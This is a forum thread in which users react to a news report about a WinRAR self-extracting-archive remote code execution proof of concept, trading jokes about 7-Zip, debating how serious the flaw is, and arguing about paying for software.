[QUOTE]Half a billion users are at risk from a public zero day remote code execution exploit affecting all versions of the popular WinRAR compression software.
A proof-of-concept exploit has been published. Its creator reckons it works on all versions of WinRAR, making it very likely that it will be used by criminals in phishing attacks.
WinRAR has been a popular shareware unzipping tool for Windows users over the last two decades.[/QUOTE]

.7zip or bust.
that's ok for me I like 7zip better anyways
That's what you get for not buying WinRAR
No.
NO!
I have used this program for 19 years.. please don't do this. :wavey:
What are the odds of this getting fixed? :v:
[QUOTE=Im Crimson;48795074]What are the odds of this getting fixed? :v:[/QUOTE]
if they want to keep their customers
very likely
winrar is a paid program... sort of
Well that's unfortunate. I'd say "dont get shit from dubious sites" but I can't help but fear this would be used even among popular sites.
[QUOTE]Users could be owned if the decompress malicious SFX files. Attackers can write HTML code to WinRAR's window that will run on a target machine when the archive is opened.
[/QUOTE]
oh well that's not as dangerous as just having winrar installed, so i don't really care
[QUOTE=damnatus;48795173]oh well that's not as dangerous as just having winrar installed, so i don't really care[/QUOTE]
It's essentially a malicious link :v:
[b]THIS IS NOT ACTUALLY A MAJOR ISSUE AND IT'S BEING OVERBLOWN[/b]
This only affects SFX self-extracting archives. The thing is, these archives are packed as exe files. So yes there's an exploit, but it still requires you to run an exe file to drop the payload. The only place I could see it being effective would be infecting the installer packages, which could be done by binding files anyways.
just disable VBScript

Perfect example of sensationalist headlines and free advertisement for the superior 7zip

Yeah cause only idiots financially supports people making decent software, what an asshole.
Funny cause you were the guy talking about putting your money where your mouth is in the gone home threads and supporting the "right" people making software/games.
Bring it, Also. What does it do? And why is it there?

wow.
i really mean that. wow. i just caused you to blow up with a shitty "lad" joke. incredible.
I'm all for people supporting software developers they care about, people who pirate generally annoy the shit out of me because that isn't cool. It was a simple joke about him being one of probably 4 people who has paid for WinRar. Calm yourself.

[QUOTE=27X;48796739][quote]GBX[/quote] and other companies like it have royalties because they own their own IPs and are privately held. You think activi$ion or any other similar company would have the same setup?[/QUOTE]

I actually bought it, it was really odd not getting the popups. :v:
Gee, people still use this? 7zip is better, more compression options and it's completely free.
